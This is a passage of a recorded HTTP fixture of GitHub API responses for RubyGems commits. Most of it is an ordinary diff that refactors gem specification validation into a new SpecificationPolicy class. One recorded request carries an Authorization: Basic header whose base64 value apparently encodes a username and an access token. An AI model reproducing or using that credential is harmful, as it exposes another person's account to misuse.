ers/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"df158cc069e65e4b456c640e640ed9b7993ee609","url":"https://api.github.com/repos/rubygems/rubygems/commits/df158cc069e65e4b456c640e640ed9b7993ee609","html_url":"https://github.com/rubygems/rubygems/commit/df158cc069e65e4b456c640e640ed9b7993ee609"},{"sha":"bdf1a8626bb8adbf2d2014d1ce478dc8ddf25790","url":"https://api.github.com/repos/rubygems/rubygems/commits/bdf1a8626bb8adbf2d2014d1ce478dc8ddf25790","html_url":"https://github.com/rubygems/rubygems/commit/bdf1a8626bb8adbf2d2014d1ce478dc8ddf25790"}],"stats":{"total":716,"additions":416,"deletions":300},"files":[{"sha":"90874512c763534b188c713882f2eb8786306dc1","filename":"Manifest.txt","status":"modified","additions":1,"deletions":0,"changes":1,"blob_url":"https://github.com/rubygems/rubygems/blob/ff6ca04a6cbe8c2c137da398b64a4b9b1ecef419/Manifest.txt","raw_url":"https://github.com/rubygems/rubygems/raw/ff6ca04a6cbe8c2c137da398b64a4b9b1ecef419/Manifest.txt","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/Manifest.txt?ref=ff6ca04a6cbe8c2c137da398b64a4b9b1ecef419","patch":"@@ -430,6 +430,7 @@ lib/rubygems/source_local.rb\n lib/rubygems/source_specific_file.rb\n lib/rubygems/spec_fetcher.rb\n lib/rubygems/specification.rb\n+lib/rubygems/specification_policy.rb\n lib/rubygems/ssl_certs/.document\n lib/rubygems/ssl_certs/index.rubygems.org/GlobalSignRootCA.pem\n lib/rubygems/ssl_certs/rubygems.global.ssl.fastly.net/DigiCertHighAssuranceEVRootCA.pem"},{"sha":"2b9abd62cbb33bf0215a00caa7e69eaeb11f92ad","filename":"lib/rubygems/specification.rb","status":"modified","additions":16,"deletions":300,"changes":316,"blob_url":"https://github.com/rubygems/rubygems/blob/ff6ca04a6cbe8c2c137da398b64a4b9b1ecef419/lib/rubygems/specification.rb","raw_url":"https://github.com/rubygems/rubygems/raw/ff6ca04a6cbe8c2c137da398b64a4b9b1ecef419/lib/rubygems/specification.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/specification.rb?ref=ff6ca04a6cbe8c2c137da398b64a4b9b1ecef419","patch":"@@ -13,6 +13,7 @@\n require ''rubygems/deprecate''\n require ''rubygems/basic_specification''\n require ''rubygems/stub_specification''\n+require ''rubygems/specification_policy''\n require ''rubygems/util/list''\n require ''stringio''\n \n@@ -2679,324 +2680,39 @@ def validate packaging = true\n extend Gem::UserInteraction\n normalize\n \n- nil_attributes = self.class.non_nil_attributes.find_all do |attrname|\n- instance_variable_get(\"@#{attrname}\").nil?\n- end\n-\n- unless nil_attributes.empty? then\n- raise Gem::InvalidSpecificationException,\n- \"#{nil_attributes.join '', ''} must not be nil\"\n- end\n-\n- if packaging and rubygems_version != Gem::VERSION then\n- raise Gem::InvalidSpecificationException,\n- \"expected RubyGems version #{Gem::VERSION}, was #{rubygems_version}\"\n- end\n-\n- @@required_attributes.each do |symbol|\n- unless self.send symbol then\n- raise Gem::InvalidSpecificationException,\n- \"missing value for attribute #{symbol}\"\n- end\n- end\n-\n- if !name.is_a?(String) then\n- raise Gem::InvalidSpecificationException,\n- \"invalid value for attribute name: \\\"#{name.inspect}\\\" must be a string\"\n- elsif name !~ /[a-zA-Z]/ then\n- raise Gem::InvalidSpecificationException,\n- \"invalid value for attribute name: #{name.dump} must include at least one letter\"\n- elsif name !~ VALID_NAME_PATTERN then\n- raise Gem::InvalidSpecificationException,\n- \"invalid value for attribute name: #{name.dump} can only include letters, numbers, dashes, and underscores\"\n- end\n-\n- if raw_require_paths.empty? then\n- raise Gem::InvalidSpecificationException,\n- ''specification must have at least one require_path''\n- end\n-\n- @files.delete_if { |x| File.directory?(x) && !File.symlink?(x) }\n- @test_files.delete_if { |x| File.directory?(x) && !File.symlink?(x) }\n- @executables.delete_if { |x| File.directory?(File.join(@bindir, x)) }\n- @extra_rdoc_files.delete_if { |x| File.directory?(x) && !File.symlink?(x) }\n- @extensions.delete_if { |x| File.directory?(x) && !File.symlink?(x) }\n-\n- non_files = files.reject { |x| File.file?(x) || File.symlink?(x) }\n-\n- unless not packaging or non_files.empty? then\n- raise Gem::InvalidSpecificationException,\n- \"[\\\"#{non_files.join \"\\\", \\\"\"}\\\"] are not files\"\n- end\n-\n- if files.include? file_name then\n- raise Gem::InvalidSpecificationException,\n- \"#{full_name} contains itself (#{file_name}), check your files list\"\n- end\n-\n- unless specification_version.is_a?(Integer)\n- raise Gem::InvalidSpecificationException,\n- ''specification_version must be an Integer (did you mean version?)''\n- end\n-\n- case platform\n- when Gem::Platform, Gem::Platform::RUBY then # ok\n- else\n- raise Gem::InvalidSpecificationException,\n- \"invalid platform #{platform.inspect}, see Gem::Platform\"\n- end\n-\n- self.class.array_attributes.each do |field|\n- val = self.send field\n- klass = case field\n- when :dependencies\n- Gem::Dependency\n- else\n- String\n- end\n-\n- unless Array === val and val.all? { |x| x.kind_of?(klass) } then\n- raise(Gem::InvalidSpecificationException,\n- \"#{field} must be an Array of #{klass}\")\n- end\n- end\n-\n- [:authors].each do |field|\n- val = self.send field\n- raise Gem::InvalidSpecificationException, \"#{field} may not be empty\" if\n- val.empty?\n- end\n-\n- unless Hash === metadata\n- raise Gem::InvalidSpecificationException,\n- ''metadata must be a hash''\n- end\n-\n- validate_metadata\n-\n- licenses.each { |license|\n- if license.length > 64\n- raise Gem::InvalidSpecificationException,\n- \"each license must be 64 characters or less\"\n- end\n-\n- if !Gem::Licenses.match?(license)\n- suggestions = Gem::Licenses.suggestions(license)\n- message = <<-warning\n-license value ''#{license}'' is invalid. Use a license identifier from\n-http://spdx.org/licenses or ''#{Gem::Licenses::NONSTANDARD}'' for a nonstandard license.\n- warning\n- message += \"Did you mean #{suggestions.map { |s| \"''#{s}''\"}.join('', '')}?\\n\" unless suggestions.nil?\n- warning(message)\n- end\n- }\n-\n- warning <<-warning if licenses.empty?\n-licenses is empty, but is recommended. Use a license identifier from\n-http://spdx.org/licenses or ''#{Gem::Licenses::NONSTANDARD}'' for a nonstandard license.\n- warning\n-\n- validate_permissions\n-\n- # reject lazy developers:\n-\n- lazy = ''\"FIxxxXME\" or \"TOxxxDO\"''.gsub(/xxx/, '''')\n-\n- unless authors.grep(/FI XME|TO DO/x).empty? then\n- raise Gem::InvalidSpecificationException, \"#{lazy} is not an author\"\n- end\n-\n- unless Array(email).grep(/FI XME|TO DO/x).empty? then\n- raise Gem::InvalidSpecificationException, \"#{lazy} is not an email\"\n- end\n-\n- if description =~ /FI XME|TO DO/x then\n- raise Gem::InvalidSpecificationException, \"#{lazy} is not a description\"\n- end\n-\n- if summary =~ /FI XME|TO DO/x then\n- raise Gem::InvalidSpecificationException, \"#{lazy} is not a summary\"\n- end\n-\n- if homepage and not homepage.empty? and\n- homepage !~ /\\A[a-z][a-z\\d+.-]*:/i then\n- raise Gem::InvalidSpecificationException,\n- \"\\\"#{homepage}\\\" is not a URI\"\n- end\n-\n- # Warnings\n-\n- %w[author homepage summary files].each do |attribute|\n- value = self.send attribute\n- warning \"no #{attribute} specified\" if value.nil? or value.empty?\n- end\n-\n- if description == summary then\n- warning ''description and summary are identical''\n- end\n-\n- # TODO: raise at some given date\n- warning \"deprecated autorequire specified\" if autorequire\n-\n- executables.each do |executable|\n- executable_path = File.join(bindir, executable)\n- shebang = File.read(executable_path, 2) == ''#!''\n-\n- warning \"#{executable_path} is missing #! line\" unless shebang\n- end\n-\n- files.each do |file|\n- next unless File.symlink?(file)\n- warning \"#{file} is a symlink, which is not supported on all platforms\"\n- end\n-\n- validate_dependencies\n-\n- true\n+ validation_policy = Gem::SpecificationPolicy.new(self)\n+ validation_policy.packaging = packaging\n+ validation_policy.validate\n ensure\n if $! or @warnings > 0 then\n alert_warning \"See http://guides.rubygems.org/specification-reference/ for help\"\n end\n end\n \n- def validate_metadata\n- url_validation_regex = %r{\\Ahttps?:\\/\\/([^\\s:@]+:[^\\s:@]*@)?[A-Za-z\\d\\-]+(\\.[A-Za-z\\d\\-]+)+\\.?(:\\d{1,5})?([\\/?]\\S*)?\\z}\n- link_keys = %w(\n- bug_tracker_uri\n- changelog_uri\n- documentation_uri\n- homepage_uri\n- mailing_list_uri\n- source_code_uri\n- wiki_uri\n- )\n-\n- metadata.each do|key, value|\n- if !key.kind_of?(String)\n- raise Gem::InvalidSpecificationException,\n- \"metadata keys must be a String\"\n- end\n-\n- if key.size > 128\n- raise Gem::InvalidSpecificationException,\n- \"metadata key too large (#{key.size} > 128)\"\n- end\n-\n- if !value.kind_of?(String)\n- raise Gem::InvalidSpecificationException,\n- \"metadata values must be a String\"\n- end\n-\n- if value.size > 1024\n- raise Gem::InvalidSpecificationException,\n- \"metadata value too large (#{value.size} > 1024)\"\n- end\n+ def keep_only_files_and_directories\n+ @executables.delete_if { |x| File.directory?(File.join(@bindir, x)) }\n+ @extensions.delete_if { |x| File.directory?(x) && !File.symlink?(x) }\n+ @extra_rdoc_files.delete_if { |x| File.directory?(x) && !File.symlink?(x) }\n+ @files.delete_if { |x| File.directory?(x) && !File.symlink?(x) }\n+ @test_files.delete_if { |x| File.directory?(x) && !File.symlink?(x) }\n+ end\n \n- if link_keys.include? key\n- if value !~ url_validation_regex\n- raise Gem::InvalidSpecificationException,\n- \"metadata[''#{key}''] has invalid link: #{value.inspect}\"\n- end\n- end\n- end\n+ def validate_metadata\n+ Gem::SpecificationPolicy.new(self).validate_metadata\n end\n \n ##\n # Checks that dependencies use requirements as we recommend. Warnings are\n # issued when dependencies are open-ended or overly strict for semantic\n # versioning.\n-\n- def validate_dependencies # :nodoc:\n- # NOTE: see REFACTOR note in Gem::Dependency about types - this might be brittle\n- seen = Gem::Dependency::TYPES.inject({}) { |types, type| types.merge({ type => {}}) }\n-\n- error_messages = []\n- warning_messages = []\n- dependencies.each do |dep|\n- if prev = seen[dep.type][dep.name] then\n- error_messages << <<-MESSAGE\n-duplicate dependency on #{dep}, (#{prev.requirement}) use:\n- add_#{dep.type}_dependency ''#{dep.name}'', ''#{dep.requirement}'', ''#{prev.requirement}''\n- MESSAGE\n- end\n-\n- seen[dep.type][dep.name] = dep\n-\n- prerelease_dep = dep.requirements_list.any? do |req|\n- Gem::Requirement.new(req).prerelease?\n- end\n-\n- warning_messages << \"prerelease dependency on #{dep} is not recommended\" if\n- prerelease_dep && !version.prerelease?\n-\n- overly_strict = dep.requirement.requirements.length == 1 &&\n- dep.requirement.requirements.any? do |op, version|\n- op == ''~>'' and\n- not version.prerelease? and\n- version.segments.length > 2 and\n- version.segments.first != 0\n- end\n-\n- if overly_strict then\n- _, dep_version = dep.requirement.requirements.first\n-\n- base = dep_version.segments.first 2\n-\n- warning_messages << <<-WARNING\n-pessimistic dependency on #{dep} may be overly strict\n- if #{dep.name} is semantically versioned, use:\n- add_#{dep.type}_dependency ''#{dep.name}'', ''~> #{base.join ''.''}'', ''>= #{dep_version}''\n- WARNING\n- end\n-\n- open_ended = dep.requirement.requirements.all? do |op, version|\n- not version.prerelease? and (op == ''>'' or op == ''>='')\n- end\n-\n- if open_ended then\n- op, dep_version = dep.requirement.requirements.first\n-\n- base = dep_version.segments.first 2\n-\n- bugfix = if op == ''>'' then\n- \", ''> #{dep_version}''\"\n- elsif op == ''>='' and base != dep_version.segments then\n- \", ''>= #{dep_version}''\"\n- end\n-\n- warning_messages << <<-WARNING\n-open-ended dependency on #{dep} is not recommended\n- if #{dep.name} is semantically versioned, use:\n- add_#{dep.type}_dependency ''#{dep.name}'', ''~> #{base.join ''.''}''#{bugfix}\n- WARNING\n- end\n- end\n- if error_messages.any?\n- raise Gem::InvalidSpecificationException, error_messages.join\n- end\n- if warning_messages.any?\n- warning_messages.each { |warning_message| warning warning_message }\n- end\n+ def validate_dependencies\n+ Gem::SpecificationPolicy.new(self).validate_dependencies\n end\n \n ##\n # Checks to see if the files to be packaged are world-readable.\n-\n def validate_permissions\n- return if Gem.win_platform?\n-\n- files.each do |file|\n- next unless File.file?(file)\n- next if File.stat(file).mode & 0444 == 0444\n- warning \"#{file} is not world-readable\"\n- end\n-\n- executables.each do |name|\n- exec = File.join @bindir, name\n- next unless File.file?(exec)\n- next if File.stat(exec).executable?\n- warning \"#{exec} is not executable\"\n- end\n+ Gem::SpecificationPolicy.new(self).validate_permissions\n end\n \n ##"},{"sha":"55ed96d69418a4fea1bfe930eee25ac86c25ce0f","filename":"lib/rubygems/specification_policy.rb","status":"added","additions":399,"deletions":0,"changes":399,"blob_url":"https://github.com/rubygems/rubygems/blob/ff6ca04a6cbe8c2c137da398b64a4b9b1ecef419/lib/rubygems/specification_policy.rb","raw_url":"https://github.com/rubygems/rubygems/raw/ff6ca04a6cbe8c2c137da398b64a4b9b1ecef419/lib/rubygems/specification_policy.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/specification_policy.rb?ref=ff6ca04a6cbe8c2c137da398b64a4b9b1ecef419","patch":"@@ -0,0 +1,399 @@\n+require ''delegate''\n+\n+class Gem::SpecificationPolicy < SimpleDelegator\n+ VALID_NAME_PATTERN = /\\A[a-zA-Z0-9\\.\\-\\_]+\\z/ # :nodoc:\n+\n+ VALID_URI_PATTERN = %r{\\Ahttps?:\\/\\/([^\\s:@]+:[^\\s:@]*@)?[A-Za-z\\d\\-]+(\\.[A-Za-z\\d\\-]+)+\\.?(:\\d{1,5})?([\\/?]\\S*)?\\z} # :nodoc:\n+\n+ METADATA_LINK_KEYS = %w[\n+ bug_tracker_uri\n+ changelog_uri\n+ documentation_uri\n+ homepage_uri\n+ mailing_list_uri\n+ source_code_uri\n+ wiki_uri\n+ ] # :nodoc:\n+\n+ ##\n+ # If set to true, run packaging-specific checks, as well.\n+\n+ attr_accessor :packaging\n+\n+ ##\n+ # Checks that the specification contains all required fields, and does a\n+ # very basic sanity check.\n+ #\n+ # Raises InvalidSpecificationException if the spec does not pass the\n+ # checks.\n+\n+ def validate\n+ validate_nil_attributes\n+\n+ validate_rubygems_version\n+\n+ validate_required_attributes\n+\n+ validate_name\n+\n+ validate_require_paths\n+\n+ keep_only_files_and_directories\n+\n+ validate_non_files\n+\n+ validate_self_inclusion_in_files_list\n+\n+ validate_specification_version\n+\n+ validate_platform\n+\n+ validate_array_attributes\n+\n+ validate_authors_field\n+\n+ validate_metadata\n+\n+ validate_licenses\n+\n+ validate_permissions\n+\n+ validate_lazy_metadata\n+\n+ validate_values\n+\n+ validate_dependencies\n+ true\n+ end\n+\n+ ##\n+ # Implementation for Specification#validate_metadata\n+\n+ def validate_metadata\n+ unless Hash === metadata then\n+ raise Gem::InvalidSpecificationException,\n+ ''metadata must be a hash''\n+ end\n+\n+ metadata.each do |key, value|\n+ if !key.kind_of?(String) then\n+ raise Gem::InvalidSpecificationException,\n+ \"metadata keys must be a String\"\n+ end\n+\n+ if key.size > 128 then\n+ raise Gem::InvalidSpecificationException,\n+ \"metadata key too large (#{key.size} > 128)\"\n+ end\n+\n+ if !value.kind_of?(String) then\n+ raise Gem::InvalidSpecificationException,\n+ \"metadata values must be a String\"\n+ end\n+\n+ if value.size > 1024 then\n+ raise Gem::InvalidSpecificationException,\n+ \"metadata value too large (#{value.size} > 1024)\"\n+ end\n+\n+ if METADATA_LINK_KEYS.include? key then\n+ if value !~ VALID_URI_PATTERN then\n+ raise Gem::InvalidSpecificationException,\n+ \"metadata[''#{key}''] has invalid link: #{value.inspect}\"\n+ end\n+ end\n+ end\n+ end\n+\n+ ##\n+ # Implementation for Specification#validate_dependencies\n+\n+ def validate_dependencies # :nodoc:\n+ # NOTE: see REFACTOR note in Gem::Dependency about types - this might be brittle\n+ seen = Gem::Dependency::TYPES.inject({}) { |types, type| types.merge({ type => {}}) }\n+\n+ error_messages = []\n+ warning_messages = []\n+ dependencies.each do |dep|\n+ if prev = seen[dep.type][dep.name] then\n+ error_messages << <<-MESSAGE\n+duplicate dependency on #{dep}, (#{prev.requirement}) use:\n+ add_#{dep.type}_dependency ''#{dep.name}'', ''#{dep.requirement}'', ''#{prev.requirement}''\n+ MESSAGE\n+ end\n+\n+ seen[dep.type][dep.name] = dep\n+\n+ prerelease_dep = dep.requirements_list.any? do |req|\n+ Gem::Requirement.new(req).prerelease?\n+ end\n+\n+ warning_messages << \"prerelease dependency on #{dep} is not recommended\" if\n+ prerelease_dep && !version.prerelease?\n+\n+ overly_strict = dep.requirement.requirements.length == 1 &&\n+ dep.requirement.requirements.any? do |op, version|\n+ op == ''~>'' and\n+ not version.prerelease? and\n+ version.segments.length > 2 and\n+ version.segments.first != 0\n+ end\n+\n+ if overly_strict then\n+ _, dep_version = dep.requirement.requirements.first\n+\n+ base = dep_version.segments.first 2\n+\n+ warning_messages << <<-WARNING\n+pessimistic dependency on #{dep} may be overly strict\n+ if #{dep.name} is semantically versioned, use:\n+ add_#{dep.type}_dependency ''#{dep.name}'', ''~> #{base.join ''.''}'', ''>= #{dep_version}''\n+ WARNING\n+ end\n+\n+ open_ended = dep.requirement.requirements.all? do |op, version|\n+ not version.prerelease? and (op == ''>'' or op == ''>='')\n+ end\n+\n+ if open_ended then\n+ op, dep_version = dep.requirement.requirements.first\n+\n+ base = dep_version.segments.first 2\n+\n+ bugfix = if op == ''>'' then\n+ \", ''> #{dep_version}''\"\n+ elsif op == ''>='' and base != dep_version.segments then\n+ \", ''>= #{dep_version}''\"\n+ end\n+\n+ warning_messages << <<-WARNING\n+open-ended dependency on #{dep} is not recommended\n+ if #{dep.name} is semantically versioned, use:\n+ add_#{dep.type}_dependency ''#{dep.name}'', ''~> #{base.join ''.''}''#{bugfix}\n+ WARNING\n+ end\n+ end\n+ if error_messages.any? then\n+ raise Gem::InvalidSpecificationException, error_messages.join\n+ end\n+ if warning_messages.any? then\n+ warning_messages.each { |warning_message| warning warning_message }\n+ end\n+ end\n+\n+ ##\n+ # Issues a warning for each file to be packaged which is world-readable.\n+ #\n+ # Implementation for Specification#validate_permissions\n+\n+ def validate_permissions\n+ return if Gem.win_platform?\n+\n+ files.each do |file|\n+ next unless File.file?(file)\n+ next if File.stat(file).mode & 0444 == 0444\n+ warning \"#{file} is not world-readable\"\n+ end\n+\n+ executables.each do |name|\n+ exec = File.join bindir, name\n+ next unless File.file?(exec)\n+ next if File.stat(exec).executable?\n+ warning \"#{exec} is not executable\"\n+ end\n+ end\n+\n+ private\n+\n+ def validate_nil_attributes\n+ nil_attributes = Gem::Specification.non_nil_attributes.select do |attrname|\n+ __getobj__.instance_variable_get(\"@#{attrname}\").nil?\n+ end\n+ return if nil_attributes.empty?\n+ raise Gem::InvalidSpecificationException,\n+ \"#{nil_attributes.join '', ''} must not be nil\"\n+ end\n+\n+ def validate_rubygems_version\n+ return unless packaging\n+ return if rubygems_version == Gem::VERSION\n+\n+ raise Gem::InvalidSpecificationException,\n+ \"expected RubyGems version #{Gem::VERSION}, was #{rubygems_version}\"\n+ end\n+\n+ def validate_required_attributes\n+ Gem::Specification.required_attributes.each do |symbol|\n+ unless send symbol then\n+ raise Gem::InvalidSpecificationException,\n+ \"missing value for attribute #{symbol}\"\n+ end\n+ end\n+ end\n+\n+ def validate_name\n+ if !name.is_a?(String) then\n+ raise Gem::InvalidSpecificationException,\n+ \"invalid value for attribute name: \\\"#{name.inspect}\\\" must be a string\"\n+ elsif name !~ /[a-zA-Z]/ then\n+ raise Gem::InvalidSpecificationException,\n+ \"invalid value for attribute name: #{name.dump} must include at least one letter\"\n+ elsif name !~ VALID_NAME_PATTERN then\n+ raise Gem::InvalidSpecificationException,\n+ \"invalid value for attribute name: #{name.dump} can only include letters, numbers, dashes, and underscores\"\n+ end\n+ end\n+\n+ def validate_require_paths\n+ return unless raw_require_paths.empty?\n+\n+ raise Gem::InvalidSpecificationException,\n+ ''specification must have at least one require_path''\n+ end\n+\n+ def validate_non_files\n+ return unless packaging\n+ non_files = files.reject {|x| File.file?(x) || File.symlink?(x)}\n+\n+ unless non_files.empty? then\n+ raise Gem::InvalidSpecificationException,\n+ \"[\\\"#{non_files.join \"\\\", \\\"\"}\\\"] are not files\"\n+ end\n+ end\n+\n+ def validate_self_inclusion_in_files_list\n+ return unless files.include?(file_name)\n+ \n+ raise Gem::InvalidSpecificationException,\n+ \"#{full_name} contains itself (#{file_name}), check your files list\"\n+ end\n+\n+ def validate_specification_version\n+ return if specification_version.is_a?(Integer)\n+ \n+ raise Gem::InvalidSpecificationException,\n+ ''specification_version must be an Integer (did you mean version?)''\n+ end\n+\n+ def validate_platform\n+ case platform\n+ when Gem::Platform, Gem::Platform::RUBY then # ok\n+ else\n+ raise Gem::InvalidSpecificationException,\n+ \"invalid platform #{platform.inspect}, see Gem::Platform\"\n+ end\n+ end\n+\n+ def validate_array_attributes\n+ Gem::Specification.array_attributes.each do |field|\n+ validate_array_attribute(field)\n+ end\n+ end\n+\n+ def validate_array_attribute(field)\n+ val = self.send(field)\n+ klass = case field\n+ when :dependencies then\n+ Gem::Dependency\n+ else\n+ String\n+ end\n+\n+ unless Array === val and val.all? {|x| x.kind_of?(klass)} then\n+ raise(Gem::InvalidSpecificationException,\n+ \"#{field} must be an Array of #{klass}\")\n+ end\n+ end\n+\n+ def validate_authors_field\n+ return unless authors.empty?\n+\n+ raise Gem::InvalidSpecificationException,\n+ \"authors may not be empty\"\n+ end\n+\n+ def validate_licenses\n+ licenses.each { |license|\n+ if license.length > 64 then\n+ raise Gem::InvalidSpecificationException,\n+ \"each license must be 64 characters or less\"\n+ end\n+\n+ if !Gem::Licenses.match?(license) then\n+ suggestions = Gem::Licenses.suggestions(license)\n+ message = <<-warning\n+license value ''#{license}'' is invalid. Use a license identifier from\n+http://spdx.org/licenses or ''#{Gem::Licenses::NONSTANDARD}'' for a nonstandard license.\n+ warning\n+ message += \"Did you mean #{suggestions.map { |s| \"''#{s}''\"}.join('', '')}?\\n\" unless suggestions.nil?\n+ warning(message)\n+ end\n+ }\n+\n+ warning <<-warning if licenses.empty?\n+licenses is empty, but is recommended. Use a license identifier from\n+http://spdx.org/licenses or ''#{Gem::Licenses::NONSTANDARD}'' for a nonstandard license.\n+ warning\n+ end\n+\n+ LAZY = ''\"FIxxxXME\" or \"TOxxxDO\"''.gsub(/xxx/, '''')\n+ LAZY_PATTERN = /FI XME|TO DO/x\n+ HOMEPAGE_URI_PATTERN = /\\A[a-z][a-z\\d+.-]*:/i\n+\n+ def validate_lazy_metadata\n+ unless authors.grep(LAZY_PATTERN).empty? then\n+ raise Gem::InvalidSpecificationException, \"#{LAZY} is not an author\"\n+ end\n+\n+ unless Array(email).grep(LAZY_PATTERN).empty? then\n+ raise Gem::InvalidSpecificationException, \"#{LAZY} is not an email\"\n+ end\n+\n+ if description =~ LAZY_PATTERN then\n+ raise Gem::InvalidSpecificationException, \"#{LAZY} is not a description\"\n+ end\n+\n+ if summary =~ LAZY_PATTERN then\n+ raise Gem::InvalidSpecificationException, \"#{LAZY} is not a summary\"\n+ end\n+\n+ if homepage and not homepage.empty? and\n+ homepage !~ HOMEPAGE_URI_PATTERN then\n+ raise Gem::InvalidSpecificationException,\n+ \"\\\"#{homepage}\\\" is not a URI\"\n+ end\n+ end\n+\n+ def validate_values\n+ %w[author homepage summary files].each do |attribute|\n+ validate_attribute_present(attribute)\n+ end\n+\n+ if description == summary then\n+ warning \"description and summary are identical\"\n+ end\n+\n+ # TODO: raise at some given date\n+ warning \"deprecated autorequire specified\" if autorequire\n+\n+ executables.each do |executable|\n+ validate_shebang_line_in(executable)\n+ end\n+\n+ files.select { |f| File.symlink?(f) }.each do |file|\n+ warning \"#{file} is a symlink, which is not supported on all platforms\"\n+ end\n+ end\n+\n+ def validate_attribute_present(attribute)\n+ value = self.send attribute\n+ warning(\"no #{attribute} specified\") if value.nil? || value.empty?\n+ end\n+\n+ def validate_shebang_line_in(executable)\n+ executable_path = File.join(bindir, executable)\n+ return if File.read(executable_path, 2) == ''#!''\n+\n+ warning \"#{executable_path} is missing #! line\"\n+ end\n+end"}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:46 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/bdf1a8626bb8adbf2d2014d1ce478dc8ddf25790 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:46 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4551' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"3925c5dc57ce3cbb6a8cfc0c2dc9065e" Last-Modified: - Wed, 13 Dec 2017 08:37:10 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.034743' X-Github-Request-Id: - A1E0:4D95:F47B75:1C83209:5A50E462 body: encoding: ASCII-8BIT string: '{"sha":"bdf1a8626bb8adbf2d2014d1ce478dc8ddf25790","commit":{"author":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-12-13T08:37:10Z"},"committer":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-12-13T08:37:10Z"},"message":"SpecificationPolicy#validate is the new name\n\n - Extract constants\n - Add documentation","tree":{"sha":"3d861b2ef7cb6035e98b7a2c3ecc5232c8d2ac74","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/3d861b2ef7cb6035e98b7a2c3ecc5232c8d2ac74"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/bdf1a8626bb8adbf2d2014d1ce478dc8ddf25790","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/bdf1a8626bb8adbf2d2014d1ce478dc8ddf25790","html_url":"https://github.com/rubygems/rubygems/commit/bdf1a8626bb8adbf2d2014d1ce478dc8ddf25790","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/bdf1a8626bb8adbf2d2014d1ce478dc8ddf25790/comments","author":{"login":"olleolleolle","id":211,"avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"committer":{"login":"olleolleolle","id":211,"avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"parents":[{"sha":"c0205f6956e27e147715456d8bcd1e10c9b8dd8b","url":"https://api.github.com/repos/rubygems/rubygems/commits/c0205f6956e27e147715456d8bcd1e10c9b8dd8b","html_url":"https://github.com/rubygems/rubygems/commit/c0205f6956e27e147715456d8bcd1e10c9b8